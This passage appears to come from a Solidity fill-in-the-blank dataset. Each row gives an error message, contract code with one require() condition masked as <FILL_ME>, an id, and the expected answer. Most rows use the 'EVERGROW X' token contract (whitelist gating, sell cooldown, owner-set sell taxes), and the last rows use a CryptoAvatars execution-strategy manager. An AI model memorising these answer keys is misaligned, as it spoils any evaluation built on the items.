function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _burn(address sender, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function addLiquidityETH (address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IDexFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) { }
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract SafeToken is Ownable {
address payable public safeManager;
event NewSafeManager (address indexed NewManager);
constructor() { }
function setSafeManager(address payable _safeManager) external onlyOwner {
}
function withdraw(address _token, uint256 _amount) external { }
function withdrawETH(uint256 _amount) external { }
}
contract Main is ERC20, Ownable, SafeToken {
IDexRouter public DEXV2Router;
address private immutable DEXV2Pair;
address payable private MarketingWallet;
address private DeadWallet;
address private DexRouter;
bool private swapping;
bool private swapAndLiquifyEnabled = true;
bool public tradingEnabled = false;
bool private JeetsFee = true;
bool private JeetsBurn = true;
bool private DelayOption = false;
uint256 private marketingETHPortion = 0;
uint256 private MaxSell;
uint256 private MaxWallet;
uint256 private SwapMin;
uint256 private MaxSwap;
uint256 private MaxTaxes;
uint256 private MaxTokenToSwap;
uint256 private maxSellTransactionAmount;
uint256 private maxWalletAmount;
uint256 private swapTokensAtAmount;
uint8 private decimal;
uint256 private InitialSupply;
uint256 private DispatchSupply;
uint256 private _liquidityUnlockTime = 0;
uint256 private counter;
uint256 private MinTime = 0;
// Tax Fees
uint256 private _LiquidityFee = 2;
uint256 private _BurnFee = 0;
uint256 private _MarketingFee= 0;
uint256 private _Wallet2WalletFee = 0; // no wallet to wallet fee
uint256 private _BuyFee = 2;
uint256 private _SellFee = 0;
uint8 private VminDiv = 1;
uint8 private VmaxDiv = 15;
uint8 private MaxJeetsFee = 40;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isWhitelisted;
mapping (address => bool) private _isExcludedFromMaxTx;
mapping (address => uint256) private LastTimeSell;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateDEXV2Router(address indexed newAddress, address indexed oldAddress);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ETHReceived, uint256 tokensIntoLiqudity);
event ExtendLiquidityLock(uint256 extendedLockTime);
event NewDelay (bool delay, uint256 time);
event NewLimits (uint256 maxWallet, uint256 maxSell, uint256 minswap, uint256 swapmax, uint256 maxtax);
event NewFees (uint256 buy, uint256 Sell);
event NewMarketingWallet (address indexed newMarketingWallet);
event Launched (bool trading);
event LPReleased (address indexed receiver, uint256 amount);
event JeetTaxChanged (uint8 Maxdiv, uint8 Mindiv, uint8 Jeetsfee);
constructor(string memory name_, string memory symbol_, uint8 decimal_, address marketing_, uint256 supply_, uint256 dispatch_, uint8 maxtaxes_) ERC20(name_, symbol_) {
}
receive() external payable {}
//******************************************************************************************************
// Public functions
//******************************************************************************************************
function decimals() override public view returns (uint8) { }
function GetExclusions(address account) public view returns(bool MaxTx, bool Fees, bool Whitelist){ }
function GetFees() public view returns(uint Buy, uint Sell, uint Wallet2Wallet, uint Liquidity, uint Marketing, uint Burn){ }
function GetLimits() public view returns(uint256 SellMax, uint256 WalletMax, uint256 TaxMax, uint256 MinSwap, uint256 SwapMax, bool SwapLiq, bool ENtrading){ }
function GetDelay() public view returns (bool delayoption, uint256 mintime) { }
function GetContractAddresses() public view returns(address marketing, address Dead, address LP){ }
function GetJeetsTaxInfo() external view returns (bool jeetsfee, bool jeetsburn, uint vmaxdiv, uint vmindiv, uint maxjeetsfee) { }
function GetContractBalance() external view returns (uint256 marketingETH) { }
function GetSupplyInfo() public view returns (uint256 initialSupply, uint256 circulatingSupply, uint256 burntTokens) {
}
function getLiquidityUnlockTime() public view returns (uint256 Days, uint256 Hours, uint256 Minutes, uint256 Seconds) {
}
//******************************************************************************************************
// Write OnlyOwners functions
//******************************************************************************************************
function setProjectWallet (address payable _newMarketingWallet) external onlyOwner {
}
function SetDelay (bool delayoption, uint256 mintime) external onlyOwner {
}
function SetLimits(uint256 _maxWallet, uint256 _maxSell, uint256 _minswap, uint256 _swapmax, uint256 MaxTax, bool _swapAndLiquifyEnabled) external onlyOwner {
}
function SetTaxes(uint256 newBuyTax, uint256 wallet2walletfee, uint256 newLiquidityTax, uint256 newBurnTax, uint256 newMarketingTax) external onlyOwner() {
}
function updateDEXV2Router(address newAddress) external onlyOwner {
}
function SetExclusions (address account, bool Fee, bool MaxTx, bool WhiteList) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function ExtendLockTime(uint256 newdays, uint256 newhours) external onlyOwner {
}
function Launch (uint256 Blocks, uint256 lockTimeInDays, uint256 lockTimeInHours) external onlyOwner {
}
function ReleaseLP() external onlyOwner {
}
function SetJeetsTax(bool jeetsfee, bool jeetsburn, uint8 vmaxdiv, uint8 vmindiv, uint8 maxjeetsfee) external onlyOwner {
}
//******************************************************************************************************
// Internal functions
//******************************************************************************************************
function _setAutomatedMarketMakerPair(address pair, bool value) internal {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "transfer from the zero address");
require(to != address(0), "transfer to the zero address");
if(amount == 0) {return;}
// preparation of launch LP and token dispatch allowed even if trading not allowed
if(!tradingEnabled) {require(<FILL_ME>)}
if(!_isWhitelisted[to]){if(to != address(this) && to != DeadWallet){require((balanceOf(to) + amount) <= maxWalletAmount, "wallet amount exceed maxWalletAmount");}}
if(automatedMarketMakerPairs[to] && (!_isExcludedFromMaxTx[from]) && (!_isExcludedFromMaxTx[to])){require(amount <= maxSellTransactionAmount, "Sell transfer amount exceeds the maxSellTransactionAmount.");}
if (DelayOption && !_isWhitelisted[from] && automatedMarketMakerPairs[to]) {
require( LastTimeSell[from] + MinTime <= block.number, "Trying to sell too often!");
LastTimeSell[from] = block.number;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(contractTokenBalance >= MaxTokenToSwap){contractTokenBalance = MaxTokenToSwap;}
// Can Swap on sell only
if (swapAndLiquifyEnabled && canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isWhitelisted[from] && !_isWhitelisted[to] && (_SellFee - _BurnFee) != 0 ) {
swapping = true;
swapAndLiquify(contractTokenBalance);
swapping = false;
}
uint256 amountToSend = amount;
if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {amountToSend = takeFee(from, to, amount);}
if(to == DeadWallet) {super._burn(from,amountToSend);} // if destination address is Deadwallet, burn amount
else if(to != DeadWallet) {super._transfer(from, to, amountToSend);}
}
function swapAndLiquify(uint256 contractTokenBalance) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setUnlockTime(uint256 newUnlockTime) private {
}
function JeetsSellTax (uint256 amount) internal view returns (uint256) {
}
}
contract EVERGROWX is Main {
constructor() Main(
"EVERGROW X", // Name
"EGCX", // Symbol
18, // Decimal
0x84293B793C3baca544B3E167a32d84763e69Bc0F, // Marketing address
1_000_000_000_000, // Initial Supply
1_000_000_000_000, // Dispa&tch Supply
10 // Max Tax
) {}
}
| _isWhitelisted[from],"Trading not allowed yet" | 122,287 | _isWhitelisted[from] |
"wallet amount exceed maxWalletAmount" | // SPDX-License-Identifier: MIT
//*************************************************************************************************//
// Website : https://evergrowx.dev/
// TG : https://t.me/evergrowx
//*************************************************************************************************//
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) { }
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) { }
function symbol() public view virtual override returns (string memory) { }
function decimals() public view virtual override returns (uint8) { }
function totalSupply() public view virtual override returns (uint256) { }
function balanceOf(address account) public view virtual override returns (uint256) { }
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _burn(address sender, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function addLiquidityETH (address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IDexFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) { }
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract SafeToken is Ownable {
address payable public safeManager;
event NewSafeManager (address indexed NewManager);
constructor() { }
function setSafeManager(address payable _safeManager) external onlyOwner {
}
function withdraw(address _token, uint256 _amount) external { }
function withdrawETH(uint256 _amount) external { }
}
contract Main is ERC20, Ownable, SafeToken {
IDexRouter public DEXV2Router;
address private immutable DEXV2Pair;
address payable private MarketingWallet;
address private DeadWallet;
address private DexRouter;
bool private swapping;
bool private swapAndLiquifyEnabled = true;
bool public tradingEnabled = false;
bool private JeetsFee = true;
bool private JeetsBurn = true;
bool private DelayOption = false;
uint256 private marketingETHPortion = 0;
uint256 private MaxSell;
uint256 private MaxWallet;
uint256 private SwapMin;
uint256 private MaxSwap;
uint256 private MaxTaxes;
uint256 private MaxTokenToSwap;
uint256 private maxSellTransactionAmount;
uint256 private maxWalletAmount;
uint256 private swapTokensAtAmount;
uint8 private decimal;
uint256 private InitialSupply;
uint256 private DispatchSupply;
uint256 private _liquidityUnlockTime = 0;
uint256 private counter;
uint256 private MinTime = 0;
// Tax Fees
uint256 private _LiquidityFee = 2;
uint256 private _BurnFee = 0;
uint256 private _MarketingFee= 0;
uint256 private _Wallet2WalletFee = 0; // no wallet to wallet fee
uint256 private _BuyFee = 2;
uint256 private _SellFee = 0;
uint8 private VminDiv = 1;
uint8 private VmaxDiv = 15;
uint8 private MaxJeetsFee = 40;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isWhitelisted;
mapping (address => bool) private _isExcludedFromMaxTx;
mapping (address => uint256) private LastTimeSell;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateDEXV2Router(address indexed newAddress, address indexed oldAddress);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ETHReceived, uint256 tokensIntoLiqudity);
event ExtendLiquidityLock(uint256 extendedLockTime);
event NewDelay (bool delay, uint256 time);
event NewLimits (uint256 maxWallet, uint256 maxSell, uint256 minswap, uint256 swapmax, uint256 maxtax);
event NewFees (uint256 buy, uint256 Sell);
event NewMarketingWallet (address indexed newMarketingWallet);
event Launched (bool trading);
event LPReleased (address indexed receiver, uint256 amount);
event JeetTaxChanged (uint8 Maxdiv, uint8 Mindiv, uint8 Jeetsfee);
constructor(string memory name_, string memory symbol_, uint8 decimal_, address marketing_, uint256 supply_, uint256 dispatch_, uint8 maxtaxes_) ERC20(name_, symbol_) {
}
receive() external payable {}
//******************************************************************************************************
// Public functions
//******************************************************************************************************
function decimals() override public view returns (uint8) { }
function GetExclusions(address account) public view returns(bool MaxTx, bool Fees, bool Whitelist){ }
function GetFees() public view returns(uint Buy, uint Sell, uint Wallet2Wallet, uint Liquidity, uint Marketing, uint Burn){ }
function GetLimits() public view returns(uint256 SellMax, uint256 WalletMax, uint256 TaxMax, uint256 MinSwap, uint256 SwapMax, bool SwapLiq, bool ENtrading){ }
function GetDelay() public view returns (bool delayoption, uint256 mintime) { }
function GetContractAddresses() public view returns(address marketing, address Dead, address LP){ }
function GetJeetsTaxInfo() external view returns (bool jeetsfee, bool jeetsburn, uint vmaxdiv, uint vmindiv, uint maxjeetsfee) { }
function GetContractBalance() external view returns (uint256 marketingETH) { }
function GetSupplyInfo() public view returns (uint256 initialSupply, uint256 circulatingSupply, uint256 burntTokens) {
}
function getLiquidityUnlockTime() public view returns (uint256 Days, uint256 Hours, uint256 Minutes, uint256 Seconds) {
}
//******************************************************************************************************
// Write OnlyOwners functions
//******************************************************************************************************
function setProjectWallet (address payable _newMarketingWallet) external onlyOwner {
}
function SetDelay (bool delayoption, uint256 mintime) external onlyOwner {
}
function SetLimits(uint256 _maxWallet, uint256 _maxSell, uint256 _minswap, uint256 _swapmax, uint256 MaxTax, bool _swapAndLiquifyEnabled) external onlyOwner {
}
function SetTaxes(uint256 newBuyTax, uint256 wallet2walletfee, uint256 newLiquidityTax, uint256 newBurnTax, uint256 newMarketingTax) external onlyOwner() {
}
function updateDEXV2Router(address newAddress) external onlyOwner {
}
function SetExclusions (address account, bool Fee, bool MaxTx, bool WhiteList) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function ExtendLockTime(uint256 newdays, uint256 newhours) external onlyOwner {
}
function Launch (uint256 Blocks, uint256 lockTimeInDays, uint256 lockTimeInHours) external onlyOwner {
}
function ReleaseLP() external onlyOwner {
}
function SetJeetsTax(bool jeetsfee, bool jeetsburn, uint8 vmaxdiv, uint8 vmindiv, uint8 maxjeetsfee) external onlyOwner {
}
//******************************************************************************************************
// Internal functions
//******************************************************************************************************
function _setAutomatedMarketMakerPair(address pair, bool value) internal {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "transfer from the zero address");
require(to != address(0), "transfer to the zero address");
if(amount == 0) {return;}
// preparation of launch LP and token dispatch allowed even if trading not allowed
if(!tradingEnabled) {require(_isWhitelisted[from], "Trading not allowed yet");}
if(!_isWhitelisted[to]){if(to != address(this) && to != DeadWallet){require(<FILL_ME>)}}
if(automatedMarketMakerPairs[to] && (!_isExcludedFromMaxTx[from]) && (!_isExcludedFromMaxTx[to])){require(amount <= maxSellTransactionAmount, "Sell transfer amount exceeds the maxSellTransactionAmount.");}
if (DelayOption && !_isWhitelisted[from] && automatedMarketMakerPairs[to]) {
require( LastTimeSell[from] + MinTime <= block.number, "Trying to sell too often!");
LastTimeSell[from] = block.number;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(contractTokenBalance >= MaxTokenToSwap){contractTokenBalance = MaxTokenToSwap;}
// Can Swap on sell only
if (swapAndLiquifyEnabled && canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isWhitelisted[from] && !_isWhitelisted[to] && (_SellFee - _BurnFee) != 0 ) {
swapping = true;
swapAndLiquify(contractTokenBalance);
swapping = false;
}
uint256 amountToSend = amount;
if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {amountToSend = takeFee(from, to, amount);}
if(to == DeadWallet) {super._burn(from,amountToSend);} // if destination address is Deadwallet, burn amount
else if(to != DeadWallet) {super._transfer(from, to, amountToSend);}
}
function swapAndLiquify(uint256 contractTokenBalance) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setUnlockTime(uint256 newUnlockTime) private {
}
function JeetsSellTax (uint256 amount) internal view returns (uint256) {
}
}
contract EVERGROWX is Main {
constructor() Main(
"EVERGROW X", // Name
"EGCX", // Symbol
18, // Decimal
0x84293B793C3baca544B3E167a32d84763e69Bc0F, // Marketing address
1_000_000_000_000, // Initial Supply
1_000_000_000_000, // Dispa&tch Supply
10 // Max Tax
) {}
}
| (balanceOf(to)+amount)<=maxWalletAmount,"wallet amount exceed maxWalletAmount" | 122,287 | (balanceOf(to)+amount)<=maxWalletAmount |
"Trying to sell too often!" | // SPDX-License-Identifier: MIT
//*************************************************************************************************//
// Website : https://evergrowx.dev/
// TG : https://t.me/evergrowx
//*************************************************************************************************//
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) { }
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) { }
function symbol() public view virtual override returns (string memory) { }
function decimals() public view virtual override returns (uint8) { }
function totalSupply() public view virtual override returns (uint256) { }
function balanceOf(address account) public view virtual override returns (uint256) { }
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _burn(address sender, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function addLiquidityETH (address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IDexFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) { }
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract SafeToken is Ownable {
address payable public safeManager;
event NewSafeManager (address indexed NewManager);
constructor() { }
function setSafeManager(address payable _safeManager) external onlyOwner {
}
function withdraw(address _token, uint256 _amount) external { }
function withdrawETH(uint256 _amount) external { }
}
contract Main is ERC20, Ownable, SafeToken {
IDexRouter public DEXV2Router;
address private immutable DEXV2Pair;
address payable private MarketingWallet;
address private DeadWallet;
address private DexRouter;
bool private swapping;
bool private swapAndLiquifyEnabled = true;
bool public tradingEnabled = false;
bool private JeetsFee = true;
bool private JeetsBurn = true;
bool private DelayOption = false;
uint256 private marketingETHPortion = 0;
uint256 private MaxSell;
uint256 private MaxWallet;
uint256 private SwapMin;
uint256 private MaxSwap;
uint256 private MaxTaxes;
uint256 private MaxTokenToSwap;
uint256 private maxSellTransactionAmount;
uint256 private maxWalletAmount;
uint256 private swapTokensAtAmount;
uint8 private decimal;
uint256 private InitialSupply;
uint256 private DispatchSupply;
uint256 private _liquidityUnlockTime = 0;
uint256 private counter;
uint256 private MinTime = 0;
// Tax Fees
uint256 private _LiquidityFee = 2;
uint256 private _BurnFee = 0;
uint256 private _MarketingFee= 0;
uint256 private _Wallet2WalletFee = 0; // no wallet to wallet fee
uint256 private _BuyFee = 2;
uint256 private _SellFee = 0;
uint8 private VminDiv = 1;
uint8 private VmaxDiv = 15;
uint8 private MaxJeetsFee = 40;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isWhitelisted;
mapping (address => bool) private _isExcludedFromMaxTx;
mapping (address => uint256) private LastTimeSell;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateDEXV2Router(address indexed newAddress, address indexed oldAddress);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ETHReceived, uint256 tokensIntoLiqudity);
event ExtendLiquidityLock(uint256 extendedLockTime);
event NewDelay (bool delay, uint256 time);
event NewLimits (uint256 maxWallet, uint256 maxSell, uint256 minswap, uint256 swapmax, uint256 maxtax);
event NewFees (uint256 buy, uint256 Sell);
event NewMarketingWallet (address indexed newMarketingWallet);
event Launched (bool trading);
event LPReleased (address indexed receiver, uint256 amount);
event JeetTaxChanged (uint8 Maxdiv, uint8 Mindiv, uint8 Jeetsfee);
constructor(string memory name_, string memory symbol_, uint8 decimal_, address marketing_, uint256 supply_, uint256 dispatch_, uint8 maxtaxes_) ERC20(name_, symbol_) {
}
receive() external payable {}
//******************************************************************************************************
// Public functions
//******************************************************************************************************
function decimals() override public view returns (uint8) { }
function GetExclusions(address account) public view returns(bool MaxTx, bool Fees, bool Whitelist){ }
function GetFees() public view returns(uint Buy, uint Sell, uint Wallet2Wallet, uint Liquidity, uint Marketing, uint Burn){ }
function GetLimits() public view returns(uint256 SellMax, uint256 WalletMax, uint256 TaxMax, uint256 MinSwap, uint256 SwapMax, bool SwapLiq, bool ENtrading){ }
function GetDelay() public view returns (bool delayoption, uint256 mintime) { }
function GetContractAddresses() public view returns(address marketing, address Dead, address LP){ }
function GetJeetsTaxInfo() external view returns (bool jeetsfee, bool jeetsburn, uint vmaxdiv, uint vmindiv, uint maxjeetsfee) { }
function GetContractBalance() external view returns (uint256 marketingETH) { }
function GetSupplyInfo() public view returns (uint256 initialSupply, uint256 circulatingSupply, uint256 burntTokens) {
}
function getLiquidityUnlockTime() public view returns (uint256 Days, uint256 Hours, uint256 Minutes, uint256 Seconds) {
}
//******************************************************************************************************
// Write OnlyOwners functions
//******************************************************************************************************
function setProjectWallet (address payable _newMarketingWallet) external onlyOwner {
}
function SetDelay (bool delayoption, uint256 mintime) external onlyOwner {
}
function SetLimits(uint256 _maxWallet, uint256 _maxSell, uint256 _minswap, uint256 _swapmax, uint256 MaxTax, bool _swapAndLiquifyEnabled) external onlyOwner {
}
function SetTaxes(uint256 newBuyTax, uint256 wallet2walletfee, uint256 newLiquidityTax, uint256 newBurnTax, uint256 newMarketingTax) external onlyOwner() {
}
function updateDEXV2Router(address newAddress) external onlyOwner {
}
function SetExclusions (address account, bool Fee, bool MaxTx, bool WhiteList) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function ExtendLockTime(uint256 newdays, uint256 newhours) external onlyOwner {
}
function Launch (uint256 Blocks, uint256 lockTimeInDays, uint256 lockTimeInHours) external onlyOwner {
}
function ReleaseLP() external onlyOwner {
}
function SetJeetsTax(bool jeetsfee, bool jeetsburn, uint8 vmaxdiv, uint8 vmindiv, uint8 maxjeetsfee) external onlyOwner {
}
//******************************************************************************************************
// Internal functions
//******************************************************************************************************
function _setAutomatedMarketMakerPair(address pair, bool value) internal {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "transfer from the zero address");
require(to != address(0), "transfer to the zero address");
if(amount == 0) {return;}
// preparation of launch LP and token dispatch allowed even if trading not allowed
if(!tradingEnabled) {require(_isWhitelisted[from], "Trading not allowed yet");}
if(!_isWhitelisted[to]){if(to != address(this) && to != DeadWallet){require((balanceOf(to) + amount) <= maxWalletAmount, "wallet amount exceed maxWalletAmount");}}
if(automatedMarketMakerPairs[to] && (!_isExcludedFromMaxTx[from]) && (!_isExcludedFromMaxTx[to])){require(amount <= maxSellTransactionAmount, "Sell transfer amount exceeds the maxSellTransactionAmount.");}
if (DelayOption && !_isWhitelisted[from] && automatedMarketMakerPairs[to]) {
require(<FILL_ME>)
LastTimeSell[from] = block.number;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(contractTokenBalance >= MaxTokenToSwap){contractTokenBalance = MaxTokenToSwap;}
// Can Swap on sell only
if (swapAndLiquifyEnabled && canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isWhitelisted[from] && !_isWhitelisted[to] && (_SellFee - _BurnFee) != 0 ) {
swapping = true;
swapAndLiquify(contractTokenBalance);
swapping = false;
}
uint256 amountToSend = amount;
if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {amountToSend = takeFee(from, to, amount);}
if(to == DeadWallet) {super._burn(from,amountToSend);} // if destination address is Deadwallet, burn amount
else if(to != DeadWallet) {super._transfer(from, to, amountToSend);}
}
function swapAndLiquify(uint256 contractTokenBalance) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setUnlockTime(uint256 newUnlockTime) private {
}
function JeetsSellTax (uint256 amount) internal view returns (uint256) {
}
}
contract EVERGROWX is Main {
constructor() Main(
"EVERGROW X", // Name
"EGCX", // Symbol
18, // Decimal
0x84293B793C3baca544B3E167a32d84763e69Bc0F, // Marketing address
1_000_000_000_000, // Initial Supply
1_000_000_000_000, // Dispa&tch Supply
10 // Max Tax
) {}
}
| LastTimeSell[from]+MinTime<=block.number,"Trying to sell too often!" | 122,287 | LastTimeSell[from]+MinTime<=block.number |
"Strategy: Already whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import {IExecutionManager} from "./interfaces/IExecutionManager.sol";
/**
* @title ExecutionManager
* @notice It allows adding/removing execution strategies for trading on the CryptoAvatars exchange.
*/
contract ExecutionManager is IExecutionManager, Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet private _whitelistedStrategies;
event StrategyRemoved(address indexed strategy);
event StrategyWhitelisted(address indexed strategy);
/**
* @notice Add an execution strategy in the system
* @param strategy address of the strategy to add
*/
function addStrategy(address strategy) external override onlyOwner {
require(<FILL_ME>)
_whitelistedStrategies.add(strategy);
emit StrategyWhitelisted(strategy);
}
/**
* @notice Remove an execution strategy from the system
* @param strategy address of the strategy to remove
*/
function removeStrategy(address strategy) external override onlyOwner {
}
/**
* @notice Returns if an execution strategy is in the system
* @param strategy address of the strategy
*/
function isStrategyWhitelisted(address strategy) external view override returns (bool) {
}
/**
* @notice View number of whitelisted strategies
*/
function viewCountWhitelistedStrategies() external view override returns (uint256) {
}
/**
* @notice See whitelisted strategies in the system
* @param cursor cursor (should start at 0 for first request)
* @param size size of the response (e.g., 50)
*/
function viewWhitelistedStrategies(uint256 cursor, uint256 size)
external
view
override
returns (address[] memory, uint256)
{
}
}
| !_whitelistedStrategies.contains(strategy),"Strategy: Already whitelisted" | 122,598 | !_whitelistedStrategies.contains(strategy) |
"Strategy: Not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
